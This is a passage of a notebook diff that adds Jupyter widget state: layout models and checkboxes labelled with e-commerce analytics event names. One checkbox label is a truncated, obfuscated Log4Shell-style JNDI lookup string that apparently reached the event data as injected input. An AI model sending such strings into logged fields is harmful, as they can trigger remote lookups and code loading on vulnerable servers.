"CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "maj_churn_propensity_30_15", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_3be07a9a36c14e609506a8d2ac30439a", + "style": "IPY_MODEL_e43a24fb4e5c4fdcb39febd5fb66ab45", + "value": false + } + }, + "cd912a4adae54ba8a2c32dc01402c523": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "maj_audience_segmentation_15", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_13942a8909f945c395d55f92033505ff", + "style": "IPY_MODEL_51fc19877c544160ba1f98487b04d612", + "value": false + } + }, + "81fdbc9e894a4ba39f19eea43a6935f2": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "imported", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_eedd93a671824bde815adb53be8171d4", + "style": "IPY_MODEL_b02ed3fb150a4688b13ebcde50c08ffb", + "value": false + } + }, + "72eebc41731d4dafbd2a4528032bdf11": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "first_visit", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_e03e968d53544e44bb8aee7f544f1bb7", + "style": "IPY_MODEL_c4e4e8e3c9d748ffb96f74c1e7d06456", + "value": false + } + }, + "ce94c729917848e8b98b965163e4466b": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "errors", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_6e467383b0df416ea690cbd818bceba2", + "style": "IPY_MODEL_f4e0a99311504204a79f48de9ec95280", + "value": false + } + }, + "16031519618548678483de6e12dd3245": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "click", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_d8fffd09966f40cd8f443d6083121fbf", + "style": "IPY_MODEL_2fa658f90da941b6a590c278c67e548e", + "value": true + } + }, + "09fce7da46184625a657e076f89ffbad": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "begin_checkout", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_32a25d57545340c18731eb25a79e8b47", + "style": "IPY_MODEL_f0da6d221d02448bba7dc60802325cfd", + "value": false + } + }, + "fe4d60abead4406dbac0e54e6384f787": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "ads_conversion_Checkout_1", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_e17a16c5dc694b899e1e44f3be7583e5", + "style": "IPY_MODEL_bd92677245d34eaa9245935dd5a20932", + "value": false + } + }, + "fb03611950c8499a9078544ba5eeefa3": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "add_to_wishlist", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_4b9b4d011c1c4ccc886e6141ce25f235", + "style": "IPY_MODEL_74a8b740324c4efead37803b886a7921", + "value": true + } + }, + "d1d9f57fa9fa42d797325eed00664ed8": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "add_to_cart", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_56fcef4dc65e40e087bbb2821874af17", + "style": "IPY_MODEL_8673a30c6d5a4f419020438fd49b2859", + "value": true + } + }, + "2ff572bb94534bae8dfa5b61bb36adfd": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "add_shipping_info", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_346c028bf83344f6b6b4ac47d243a3f0", + "style": "IPY_MODEL_574170a8682d444abdb3a4762b7fc0e5", + "value": true + } + }, + "903f3582fe194b61b062f6575cadf380": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "add_payment_info", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_58b355bd18364678a41ca309605018a5", + "style": "IPY_MODEL_8f02fdb7148e4970b349c624f4bdf198", + "value": true + } + }, + "4da6287f1f5140228c1cbbe3e9873ea0": { + "model_module": "@jupyter-widgets/controls", + "model_name": "CheckboxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "CheckboxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "CheckboxView", + "description": "${jndi:dns://33${::-.}post${::-.}analyti", + "description_tooltip": null, + "disabled": false, + "indent": false, + "layout": "IPY_MODEL_bf52704eb9744bc996a1f98bb2b1698d", + "style": "IPY_MODEL_a2855718cc134441a42da59e40da45b7", + "value": false + } + }, + "fc2e0535ede24be5a2b28ff37b307475": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": "repeat(3, 1fr)", + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "50a2eed8e87a4b3fbe4f7a31d5c54a5c": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "28580af1f9e54bbe99dd7ef9b3e1c7c0": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f2e199b4f49d4beda16da275bad92312": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2280d04b76b34456a3e0ebb257cbb58d": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9e14f8ccc46a415382508d2f398801b1": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6cc57addbbe3499fae8d82188d6cc466": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2a36fd87b7e048ab80b41250b2444cff": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6f80b1fdc1a645dda301f305c3fcfa3c": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d5d5d1041afb49fba74e2010a8b517ef": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "df4a6c1954694ebd9078d2bbce331c0c": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d6ea703fef6a40648d33940ea0533477": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "674f1b434cc248398e785c641cccf6a3": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "712af8b20d414f7eae375231b30ebf93": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ff5753360adf4971b513dc197a10ba12": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "472b0409a6784d7e8595d430074b4976": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "fbf924f270ad49b4ae7fe6d33f3de998": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e1869fb4d1a54d7b91db2a714bc8ab69": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e99040a596774e35b013e07b97d59aa6": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "416e7a5741484457b37ee2cc6cb46769": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5abc6dd6fc8a42cfac748645d7d5120d": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f0571918d4964cb0a4e8c78b7dc5b81d": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ee01fb5c76c6479a9764e8e8c7deeb24": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "dd9432faf01e49f7b645575d9422a4df": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "b11bbb17f64a4cb88670c3251361abc1": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "008431306c25440584e45566ef6e2ef3": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5b64a9e9922f406f8834ebac63a09ca8": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "682288ea4e1440d3974262dfffefc51a": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8dfc8df4b9f241cf901c3fbb86554cd8": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "68a0bbe8687e4db9b87542ef7023345f": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + 